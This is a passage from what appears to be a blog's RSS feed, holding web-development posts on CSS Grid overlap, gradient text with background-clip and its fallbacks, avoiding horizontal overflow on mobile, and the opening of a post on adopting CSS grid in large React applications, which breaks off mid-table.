&lt;p&gt;Grid, like Flexbox, involves a parent-child relationship where properties applied on the container will have an impact on the immediate child items within it. For grid, once the grid structure is determined, you are free to assign areas to each of your grid items.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  display: grid;
  grid-template-rows: 1fr 420px 1fr;
}

.item1 {
  grid-row: 1 / 3;
}

.item2 {
  grid-row: 2 / 4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can control the amount of overlap based on the amount of space you want to allocate to the row or column where the overlap happens. So in the above example, the overlap will always be &lt;code&gt;420px&lt;/code&gt;, which is a value I fixed.&lt;/p&gt;
&lt;p&gt;I find it slightly easier to reason with layout when using Grid, especially if I want more granular control over the positioning of my items, because the scope is reduced.&lt;/p&gt;
&lt;p&gt;In other words, each of my items won&apos;t “disturb” others on the grid, and I can use the box-alignment properties to adjust them within their allocated spaces.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.corner-img {
  grid-column: 2 / 4;
  grid-row: 1 / span 2;
  justify-self: end; // i really love box-alignment
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I&apos;m really pleased with having more tools in my CSS toolbox that are well-suited to handle specific use-cases. Our previous approach of having to use floats for everything is no longer necessary, and floats can go back to doing what it does best. Float content.&lt;/p&gt;
&lt;p&gt;Anyway, my point is, we can have more nuanced solutions for implementing layouts based on what type of design we are trying to build, as well as what type of markup we need to deal with. Grid is great, really. But neither is it the end-all-be-all of layout solutions.&lt;/p&gt;
&lt;p&gt;The only techniques that are deprecated are the techniques that were hacks, but techniques that utilise CSS properties the way they were intended are still very much useful and worth considering.&lt;/p&gt;
</content:encoded></item><item><title>Hacking background-clip with gradient colour stops</title><link>https://chenhuijing.com/blog/hacking-background-clip-with-gradient-colour-stops/</link><guid isPermaLink="true">https://chenhuijing.com/blog/hacking-background-clip-with-gradient-colour-stops/</guid><description>Before we get into all the hacking and unorthodox ways of doing things, let&apos;s talk about background-clip: text properly. If you want an image or a gradient…</description><pubDate>Thu, 18 Aug 2022 03:15:17 GMT</pubDate><content:encoded>&lt;p&gt;Before we get into all the hacking and unorthodox ways of doing things, let&apos;s talk about &lt;code&gt;background-clip: text&lt;/code&gt; properly. If you want an image or a gradient applied to a run of text, like so:&lt;/p&gt;
&lt;img src=&quot;/images/posts/background-clip/garnbret.png&quot; srcset=&quot;/images/posts/background-clip/garnbret@2x.png 2x&quot; alt=&quot;Garnbret takes first ever boulder &amp; lead title, goes 3 for 3 at Munich 2022&quot; /&gt;
&lt;p&gt;You can achieve such an effect without having to use an image. There is CSS you can apply to your text to make it that fancy. You would need to wrap the bit to be bling-ed up in a span so you can CSS it properly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;h1&amp;gt;
  Garnbret takes first ever boulder &amp;amp; lead title,
  &amp;lt;span class=&amp;quot;highlight&amp;quot;&amp;gt;goes 3 for 3 at Munich 2022&amp;lt;/span&amp;gt;
&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;background-clip: text&lt;/code&gt; will make a background image or gradient be clipped to the text in the foreground. The text to be fancy-fied needs to be transparent so the background can show through. And the CSS will look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.highlight {
  background-image: linear-gradient(to right, midnightblue, darkturquoise);
  background-clip: text;
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you check MDN, there will be a warning on the &lt;code&gt;-webkit-text-fill-color&lt;/code&gt; entry saying this is a non-standard implementation. But I still prefer to use this rather than setting &lt;code&gt;color: transparent&lt;/code&gt; because when you encounter a browser who does not support background-clip, you won&apos;t end up with transparent, invisible text.&lt;/p&gt;
&lt;p&gt;According to &lt;a href=&quot;https://webkit.org/blog/85/introducing-text-stroke/&quot;&gt;Introducing Text-Stroke&lt;/a&gt; from the Webkit blog:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;text-fill-color – This property allows you to specify a fill color for text. If it is not set, then the color property will be used to do the fill.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After analysing the browser support matrix for &lt;code&gt;background-image&lt;/code&gt; and &lt;code&gt;background-clip: text&lt;/code&gt;, I concluded that any fallbacks I need to write will only need to apply to IE11. Do you even need to care about IE11 anymore, I hear some people wondering?&lt;/p&gt;
&lt;p&gt;This is a choice you have to make. I&apos;m merely sharing with you an approach to take if you want to.&lt;/p&gt;
&lt;p&gt;There are actually 2 browsers that do not support &lt;code&gt;background-clip: text&lt;/code&gt;, IE11 and Opera Mini if it is using the Presto rendering engine (if you have no idea about Opera Mini, might I suggest reading &lt;a href=&quot;/blog/we-need-to-talk-about-opera-mini/&quot;&gt;We need to talk about Opera Mini&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;But because Opera Mini does not support &lt;code&gt;background-image: linear-gradient()&lt;/code&gt; nor &lt;code&gt;-webkit-text-fill-color&lt;/code&gt;, it conveniently just renders the text in black.&lt;/p&gt;
&lt;p&gt;IE11, on the other hand, does support &lt;code&gt;background-image: linear-gradient()&lt;/code&gt;, which means the text ends up looking like this:&lt;/p&gt;
&lt;img src=&quot;/images/posts/background-clip/ie11.jpg&quot; alt=&quot;IE11 does not clip the background&quot; /&gt;
&lt;p&gt;Quite a colour contrast failure, to be honest. But a relatively low effort fix is available to us. It&apos;s a lovely bit of CSS known as feature queries. I recommend reading Jen Simmons&apos; &lt;a href=&quot;https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/&quot;&gt;Using Feature Queries in CSS&lt;/a&gt; or maybe &lt;a href=&quot;https://24ways.org/2017/cascading-web-design/&quot;&gt;Cascading Web Design with Feature Queries&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The code will look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (background-clip: text) {
  .highlight {
    background-image: linear-gradient(to right, midnightblue, darkturquoise);
    background-clip: text;
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IE11 actually does not support &lt;code&gt;@supports&lt;/code&gt;, which works out fine because it just means this entire code block gets ignored and the text is rendered in black, without any bells and whistles. Just like how Opera Mini handled it.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update on the fallback bit!&lt;/em&gt;&lt;br&gt;
Someone pinged me to say that the text was not rendering right on iOS Safari 15.2.1 and after digging into the problem, I am fairly confident that it was due to &lt;a href=&quot;https://bugs.webkit.org/show_bug.cgi?id=169125&quot;&gt;this Webkit bug&lt;/a&gt; that was fixed and shipped in 15.5.&lt;/p&gt;
&lt;p&gt;Turns out, the people who were trying to use &lt;code&gt;background-clip: text&lt;/code&gt; supported iOS by adding &lt;code&gt;-webkit-box-decoration-break: clone;&lt;/code&gt; as a workaround. Based on my understanding of the &lt;code&gt;box-decoration-break&lt;/code&gt; property, it tells the browser &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/box-decoration-break&quot;&gt;how to render elements that have been broken up&lt;/a&gt; into fragments.&lt;/p&gt;
&lt;p&gt;The unfortunate side-effect of this fix is that my gradient hack doesn&apos;t work exactly as intended because the gradient is then applied onto each line independently with this property turned to &lt;code&gt;clone&lt;/code&gt;.&lt;/p&gt;
&lt;img src=&quot;/images/posts/background-clip/fallback.png&quot; alt=&quot;Gradient hack with box-decoration-break set to clone&quot; /&gt;
&lt;p&gt;I could hack feature queries to target those Webkit browsers before 15.5 by using the &lt;code&gt;contain&lt;/code&gt; property which was released in 15.4. As you can see, we are really mucking around in hack-land right now. But the code would now look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (-webkit-background-clip: text) {
  .highlight {
    display: inline;
    background-image: linear-gradient(
      to right,
      black 0%,
      black 63.5%,
      midnightblue 63.5%,
      darkturquoise
    );
    background-clip: text;
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
  }
}

@supports not (contain: size) {
  .highlight {
    -webkit-box-decoration-break: clone; /* For Webkit versions earlier than 15.4 */
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This might be an overkill solution but I just wanted to exhaust all possibilities because I like doing such things. Unfortunately, it seems like the 15.4 browsers will fall through the crack and still bug out because it doesn&apos;t fall into my fallback coverage.&lt;/p&gt;
&lt;p&gt;I did some investigation around iOS version usage numbers and found that the data showed adoption of newer versions is fairly high.&lt;/p&gt;
&lt;img src=&quot;/images/posts/background-clip/ios.png&quot; srcset=&quot;/images/posts/background-clip/ios@2x.png 2x&quot; alt=&quot;iOS version usage trend between July 2021 and July 2022&quot; /&gt;
&lt;p&gt;So over time, the number of people impacted by the bug will continue to drop and I can actually get away with this?&lt;/p&gt;
&lt;h2&gt;The actual hackiness&lt;/h2&gt;
&lt;p&gt;Now that we&apos;ve covered the scenario where you have all the control over your markup and styles, let&apos;s add some constraints. Because sometimes, you&apos;re using some existing framework or component library that does not allow you modify the markup as you please.&lt;/p&gt;
&lt;p&gt;For my case, it wasn&apos;t an impossibility to modify the markup, but it required making changes to the component itself which was used in many different places and I didn&apos;t really want to go down a testing rabbit hole just for this fancy, one-off design pattern. At least, not this time.&lt;/p&gt;
&lt;p&gt;So the problem I was facing now is that I could not wrap my target line of text in a span with my special fancy text CSS class. The markup was stuck looking like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;h1&amp;gt;Garnbret takes first ever boulder &amp;amp; lead title, goes 3 for 3 at Munich 2022&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After seriously trying to rewrite that specific part of the component to allow custom markup, and realising it would end up being much bigger than I expected. Plus, I am really not that good at Ruby. You know what I&apos;m actually good at? CSS. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ll state up front that I personally think this is REALLY a hack. And under normal circumstances, I would not do this at all, but life is about constraints. After weighing the pros and cons of this approach, it was deemed reasonable for my rather specific scenario.&lt;/p&gt;
&lt;p&gt;The hack was to apply the gradient to the entire line of text but make the front part a solid colour with a hard stop where the text was supposed to start looking fancy.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.highlight {
  display: inline; /* this trick only works for inline elements */
  background-image: linear-gradient(to right, black 0%, black 62%, midnightblue 62%, darkturquoise);
  background-clip: text;
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The entire line had to be an inline element though, otherwise the gradient would apply across multiple lines if the text gets broken up.&lt;/p&gt;
&lt;img src=&quot;/images/posts/background-clip/block.png&quot; srcset=&quot;/images/posts/background-clip/block@2x.png 2x&quot; alt=&quot;Gradient is not applied on the intended run of text&quot; /&gt;
&lt;p&gt;I&apos;m pretty glad I did a deep dive into the display property all those years back. But the gist of it is that inline-level elements run like a &lt;em&gt;stacked daisy chain&lt;/em&gt; rather than a rectangular block, so the gradient is applied to the entire length of the text from the first character to the last, rather than the length of the box.&lt;/p&gt;
&lt;img src=&quot;/images/posts/background-clip/inline.png&quot; srcset=&quot;/images/posts/background-clip/inline@2x.png 2x&quot; alt=&quot;Gradient is not applied on the intended run of text&quot; /&gt;
&lt;p&gt;It works pretty well, to be honest, BUT there are a tonne of caveats that come with it. Because this is a &lt;strong&gt;very fragile implementation&lt;/strong&gt;. If the ratio of black text to gradient text changes, the code will need to be modified. Even if the font-family changes, which will cause the length of the text to change, you might need to modify the gradient percentage values.&lt;/p&gt;
&lt;p&gt;For my case, the line in question was English-only. The copy was final. And the font was explicitly declared (as opposed to something up to the browser&apos;s interpretation like &lt;code&gt;font-family: serif&lt;/code&gt;). Also, the page would only be live for a set period of time (it was not a “permanent” page so to speak). So the caveats were, acceptable.&lt;/p&gt;
&lt;p&gt;If we had needed to translate the line, I might have been able to use a language-targeted selector to customise the gradient for each language. But it would have made a hacky method even hackier?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;:lang(zh) {
  .highlight {
    background-image: linear-gradient(
      to right,
      black 0%,
      black 62%,
      midnightblue 62%,
      darkturquoise
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I&apos;ll admit, even though the code was all of 4 lines, I literally sat still at my desk without moving for quite a while just thinking about what I could do if I couldn&apos;t touch the markup. The gradient stop approach came to me when I was getting more coffee.&lt;/p&gt;
&lt;p&gt;I guess the moral here is to not sit at your desk when you need a new idea? Anyway, after reading some of my previous writing, I think I&apos;m a worse writer now, so no satisfying conclusion for this post. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>The horizontal overflow problem</title><link>https://chenhuijing.com/blog/the-horizontal-overflow-problem/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-horizontal-overflow-problem/</guid><description>My good friend, Wei, has a pet peeve: unintended horizontal over-scrolling on mobile. Which is very different from intentional horizontal scrolling on mobile.…</description><pubDate>Fri, 29 Jul 2022 04:35:59 GMT</pubDate><content:encoded>&lt;p&gt;My good friend, &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt;, has a pet peeve: unintended horizontal over-scrolling on mobile. Which is very different from intentional horizontal scrolling on mobile. Anyway, we thought it was worth a discussion, from why this phenomenon exists to how we can do our best to avoid it.&lt;/p&gt;
&lt;p&gt;As you can see, I have chosen the reasonably “loose” phrase “do our best”. This is because there will inevitably be some edge cases where a trade-off needs to be made on whether to just let things be. We&apos;ll talk about those as well.&lt;/p&gt;
&lt;h2&gt;But did you test it at all?&lt;/h2&gt;
&lt;p&gt;But first, let&apos;s go with the broad strokes situation of simply not testing at a narrow enough viewport. The last I checked, Firefox stops at &lt;code&gt;435px&lt;/code&gt;, Chrome stops at &lt;code&gt;500px&lt;/code&gt; and Safari stops at &lt;code&gt;559px&lt;/code&gt;. That is, if you have your Devtools in a separate window.&lt;/p&gt;
&lt;p&gt;If you dock your Devtools to the left or right of your viewport, then you can shrink the viewport down to near &lt;code&gt;0px&lt;/code&gt; if you really wanted to. So the tip here is, dock your Devtools for testing narrow viewports. Or you could, I don&apos;t know, ACTUALLY test on a narrow mobile device?&lt;/p&gt;
&lt;img src=&quot;/images/posts/horizontal-overflow/mobile-devtools.png&quot; srcset=&quot;/images/posts/horizontal-overflow/mobile-devtools@2x.png 2x&quot; alt=&quot;Mobile Chrome Devtools&quot; /&gt;
&lt;p&gt;For what it&apos;s worth, my phone is a Realme 3 Pro which is still happily chugging along, and it has a viewport width of &lt;code&gt;360px&lt;/code&gt;. Also, according to &lt;a href=&quot;https://www.ios-resolution.com/&quot;&gt;iOS resolution&lt;/a&gt;, even the iPhone 13 has a logical width of &lt;code&gt;390px&lt;/code&gt;, so dock those Devtools, I say.&lt;/p&gt;
&lt;h2&gt;Fine, it&apos;s overflowing. Now what?&lt;/h2&gt;
&lt;p&gt;Well, since you already have those Devtools open, that&apos;s already starting on the solution, eh? A common cause is having items in your layout that are fixed width or have some min-width value that ends up larger than your viewport width at that point in time.&lt;/p&gt;
&lt;p&gt;If you have a really long page and can&apos;t really figure out what the offending element is, try scrolling all the way to the right and scroll from the top to bottom and see if you can find any bits sticking out. Make the viewport narrower than is reasonable so it&apos;s more obvious.&lt;/p&gt;
&lt;p&gt;Once you&apos;ve managed to locate said element with an unshrinkable width, you need to ask yourself if you REALLY need that minimum width on the item itself, or is it still okay to have some shrinkage beyond that set width.&lt;/p&gt;
&lt;p&gt;Say you&apos;re very firm on not having the item shrink beyond the designated width. Not to worry, you still have options. Quite a few, to be honest. Let&apos;s first set up a scenario. The problem is occurring on a 3 column grid where items have a &lt;code&gt;min-width: 180px&lt;/code&gt; applied.&lt;/p&gt;
&lt;h3&gt;Let the browser do it&lt;/h3&gt;
&lt;p&gt;First option, you could consider ditching the &lt;code&gt;min-width&lt;/code&gt; on the item, then apply that value into the &lt;code&gt;minmax()&lt;/code&gt; function for your column width, and let the browser figure out how many columns you need instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The downside of this is, you can&apos;t control how many columns you get at different viewports. Is this something you can live with? If so, cool. If not, let&apos;s think of something else. Because even though the minimum width is accounted for, perhaps the item sizes when the column count first changes is too big for your liking.&lt;/p&gt;
&lt;h3&gt;You do it yourself&lt;/h3&gt;
&lt;p&gt;Okay, in that case, maybe what you&apos;d like is a little more control. You can always add a breakpoint and tweak things from there. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid-s2 {
  grid-template-columns: repeat(2, 1fr);
}

@media screen and (min-width: 30em) {
  .grid-s2 {
    grid-template-columns: repeat(3, 1fr);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Break the words? Maybe…?&lt;/h3&gt;
&lt;p&gt;Maybe your issue isn&apos;t even width values at all. It&apos;s the fact that you have some really long word in the item that the browser won&apos;t break. Because the browser respects words like that. The intricacies of line-breaking and word-breaking are deep and complicated. Also very interesting. I recommend watching &lt;a href=&quot;https://youtu.be/hXP0M7Um1dI&quot;&gt;Line breaking and related properties from CSS Text&lt;/a&gt; by &lt;a href=&quot;https://florian.rivoal.net/cv.html&quot;&gt;Florian Rivoal&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Anyways, if the offending string is a URL, then there are even less qualms about breaking that up (IMHO, feel free to disagree). The property you are looking for is &lt;code&gt;word-break: break-all&lt;/code&gt;, and its an inheritable property so you can choose to put it on the grid container or the grid item, up to you.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  word-break: break-all;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What about hyphenation? Is that even a thing in CSS? Well, the answer is kinda sort of? If you haven&apos;t watched the video linked above yet, there&apos;s a section on hyphenation at the 15.16 minute mark which I&apos;m linking here so you don&apos;t have to scrub: &lt;a href=&quot;https://youtu.be/hXP0M7Um1dI?t=916&quot;&gt;The hyphens property&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;By default, hyphenation is set to &lt;code&gt;manual&lt;/code&gt;, which means that you are responsible for the hyphens themselves. For visible hyphens use &lt;code&gt;U+2010&lt;/code&gt; or &lt;code&gt;&amp;amp;dash;&lt;/code&gt;, while for invisible hyphens, use &lt;code&gt;U+00AD&lt;/code&gt; or &lt;code&gt;&amp;amp;shy;&lt;/code&gt;. This approach only makes sense if you have absolute control over the content and markup.&lt;/p&gt;
&lt;p&gt;Often, the content is not even written by you, can you even coordinate all your content writers to use &lt;code&gt;&amp;amp;shy;&lt;/code&gt; in their writing? What if you&apos;re using markdown? Then your content will end up being littered with a weird mix of HTML and markdown? Tricky, tricky.&lt;/p&gt;
&lt;p&gt;Browsers can do automatic hyphenation, but you must have the &lt;code&gt;lang&lt;/code&gt; attribute set correctly. Incorrect hyphenation makes the text really difficult to read. Browsers use dictionaries to figure out when hyphenations need to kick in, so tell your browser what language your content is in.&lt;/p&gt;
&lt;p&gt;Browser support for hyphens has improved since Florian&apos;s talk, so this is a viable option. But if the word happens to not be in the dictionary, well, no hyphens for you then. The CSS you&apos;re looking for is &lt;code&gt;hyphens&lt;/code&gt; like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  hyphens: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Intentional overscroll&lt;/h3&gt;
&lt;p&gt;Okay, so you hate all the options and want your original implementation to stay. I have a proposal to counter the “let things be” argument right here. Localised your overscroll to the impacted content only. In other words, move the overscroll from the scope of the entire page down to your long-ish content.&lt;/p&gt;
&lt;p&gt;You&apos;ll need an extra wrapper around the markup for this, but the CSS is just one line.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;grid-scroll-wrapper&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;grid&amp;quot;&amp;gt;
    &amp;lt;!-- All your lovely long items ¯\_(ツ)_/¯ --&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid-scroll-wrapper {
  overflow-x: scroll;
}

.grid {
  grid-template-columns: repeat(3, 1fr);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Depending on where your content gets cut-off, you could even consider this an affordance to encourage people to try to scroll the thing.&lt;/p&gt;
&lt;p&gt;If you want to see all the discussed solutions in action, here&apos;s a handy Codepen.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;406&quot; data-default-tab=&quot;result&quot; data-slug-hash=&quot;mdxyRgV&quot; data-user=&quot;huijing&quot; style=&quot;height: 406px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/mdxyRgV&quot;&gt;
  The horizontal overflow problem&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Our conclusion to this issue is that the case of unintentional horizontal overflow on mobile really can be avoided with a litle bit more care and awareness that the problem exists. There are many ways to solve problems in CSS, and that&apos;s a huge plus, not something to be annoyed about.&lt;/p&gt;
&lt;p&gt;Anyway, if you actually do have a “let things be and overscroll the page” use-case, do let us know. I&apos;d like to broaden my horizons to edge cases I&apos;ve never heard of.&lt;/p&gt;
</content:encoded></item><item><title>Can we enterprise CSS grid?</title><link>https://chenhuijing.com/blog/can-we-enterprise-css-grid/</link><guid isPermaLink="true">https://chenhuijing.com/blog/can-we-enterprise-css-grid/</guid><description>Regardless of whether the title of this blog post is grammatically correct or not, this is a question that I&apos;ve had the opportunity to tackle recently. And…</description><pubDate>Thu, 23 Jun 2022 02:50:11 GMT</pubDate><content:encoded>&lt;p&gt;Regardless of whether the title of this blog post is grammatically correct or not, this is a question that I&apos;ve had the opportunity to tackle recently. And after meeting and chatting with a bunch of CSS folks at &lt;a href=&quot;https://cssday.nl/2022&quot;&gt;CSS Day&lt;/a&gt;, I figured it&apos;d be a good time to organise my thoughts around this topic.&lt;/p&gt;
&lt;p&gt;I am known to be long-winded. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt; You have been warned.&lt;/p&gt;
&lt;p&gt;So, CSS grid has been supported in major browsers for around 5 years now. And back even before it shipped, &lt;a href=&quot;https://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; had this to say:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-conversation=&quot;none&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;You don’t need a framework to use CSS Grid. CSS Grid *is* a framework. — says &lt;a href=&quot;https://twitter.com/rachelandrew?ref_src=twsrc%5Etfw&quot;&gt;@rachelandrew&lt;/a&gt;, about to be ruthlessly copied by me&lt;/p&gt;&amp;mdash; Jen Simmons (@jensimmons) &lt;a href=&quot;https://twitter.com/jensimmons/status/771019489915891712?ref_src=twsrc%5Etfw&quot;&gt;August 31, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Personally, I very much agree with her. CSS grid was developed to tackle the use-case of web applications. If you go to &lt;a href=&quot;https://www.w3.org/TR/css-grid-1/#background&quot;&gt;1.1. Background and Motivation&lt;/a&gt; of the CSS Grid Layout Module Level 1 specification, it clearly states:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As websites evolved from simple documents into complex, interactive applications, techniques for document layout, e.g. floats, were not necessarily well suited for application layout. […] The capabilities of grid layout address these problems. It provides a mechanism for authors to divide available space for layout into columns and rows using a set of predictable sizing behaviors.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We should be seeing CSS grid being used all over the place these days, right? I, sadly, have not bore witness to this yet though. It&apos;s not that nobody is using CSS grid, far from it. It&apos;s just that I&apos;ve mostly seen it used in personal sites or smaller scale applications. I have yet to see it used as the backbone of a huge application&apos;s layout.&lt;/p&gt;
&lt;p&gt;I have some theories on why. Again, personal opinion only, but let me know if you think it makes sense.&lt;/p&gt;
&lt;h2&gt;The enterprise software problem&lt;/h2&gt;
&lt;p&gt;The term “enterprise software” somehow has a negative connotation, doesn&apos;t it? I&apos;ll be honest, if I play the word association game here, my words off the top of my head would be: bureaucratic, hard to update, clunky UI. Which is a little unfair, I suppose.&lt;/p&gt;
&lt;p&gt;Sure, there &lt;strong&gt;IS&lt;/strong&gt; enterprise software that fits that description, but that doesn&apos;t mean &lt;strong&gt;ALL&lt;/strong&gt; enterprise software is like that. However, the reason why I have those word associations is because enterprises themselves are large.&lt;/p&gt;
&lt;p&gt;And this large-ness &lt;em&gt;can&lt;/em&gt; often result in bureaucracy, where decisions have to be approved by dozens of levels up the chain, so enhancements or feature updates take a long time to ship. Large organisations tend to have many competing priorities as welll.&lt;/p&gt;
&lt;p&gt;Most organisations also have some sort of process to determine who should work on what, so it takes some strong champion-ing and compelling arguments to get the requisite support for a new intiative or project.&lt;/p&gt;
&lt;p&gt;Enterprises did not grow to their current size overnight. They are very much like trees, in my opinion, the bigger and stronger they grow, the deeper their roots are and the harder it is to move them. Change is just harder once something has been established.&lt;/p&gt;
&lt;h2&gt;What&apos;s the point here? 🤔&lt;/h2&gt;
&lt;p&gt;I&apos;m getting there. You read the opening warning, right? My spicy take on why I&apos;m not seeing CSS grid being used in the manner I had expected due to these combination of factors:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Developers still aren&apos;t familiar with it yet&lt;/li&gt;
&lt;li&gt;Large applications are built with numerous libraries and frameworks and often, layout styles are dependent on whether the choice of library or framework supports certain features or not&lt;/li&gt;
&lt;li&gt;Frontend has got to a point where it covers a very large range of domains, and CSS is just not sexy or lucrative enough for people to be specialists in it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Integrating CSS grid into an existing application, especially a large one, is not a trivial affair. And unless folks are willing to invest the time and effort to do it, I&apos;m positing this is one of the main reasons adoption in those contexts have been relatively low.&lt;/p&gt;
&lt;p&gt;That being said, I don&apos;t think it&apos;s an impossible task though. On the contrary, I found it immensely interesting to explore the different possible approaches and working out actual implementation details.&lt;/p&gt;
&lt;p&gt;So let me get to the actual point. From the moment CSS grid was supported in all major browsers, the issue became less of a technical problem, and more of a people problem. But let&apos;s talk about the technical details first, because to me, that&apos;s the fun stuff.&lt;/p&gt;
&lt;h2&gt;3 options for implementing CSS grid in a React application&lt;/h2&gt;
&lt;p&gt;I&apos;m going with React here, because that&apos;s what I had on hand to work with at the time. But I&apos;m quite sure the approaches themselves are transferrable to different frameworks or even tech stacks.&lt;/p&gt;
&lt;p&gt;Most applications have some sort of a design system or at least, design guidelines, to help introduce some consistency across different pages and components. Let&apos;s use a generic 12-column grid as the basis for discussion today.&lt;/p&gt;
&lt;div class=&quot;overflow-scroll&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Size&lt;/th&gt;
        &lt;th&gt;Min&lt;/th&gt;
        &lt;th&gt;Max&lt;/th&gt;
        &lt;th&gt;Cols&lt;/th&gt;
        &lt;th&gt;Margin&lt;/th&gt;
        &lt;th&gt;Gutter&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;xs&lt;/td&gt;
        &lt;td&gt;320px&lt;/td&gt;
        &lt;td&gt;639px&lt;/td&gt;
        &lt;td&gt;4&lt;/td&gt;
        &lt;td&gt;16px&lt;/td&gt;
        &lt;td&gt;16px&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;sm&lt;/td&gt;
        &lt;td&gt;640px&lt;/td&gt;
        &lt;td&gt;899px&lt;/td&gt;
        &lt;td&gt;8&lt;/td&gt;
        &lt;td&gt;30px&lt;/td&gt;
        &lt;td&gt;16px&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;md&lt;/td&gt;
        &lt;td&gt;900px&lt;/td&gt;
        &lt;td&gt;1199px&lt;/td&gt;
        &lt;td&gt;12&lt;/td&gt;
        &lt;td&gt;50px&lt;/td&gt;
        &lt;td&gt;16px&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;lg&lt;/td&gt;
        &lt;td&gt;1200px&lt;/td&gt;
        &lt;td&gt;1599px&lt;/td&gt;
        &lt;td&gt;12&lt;/td&gt;
        &lt;td&gt;90px&lt;/td&gt;
        &lt;td&gt;24px&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
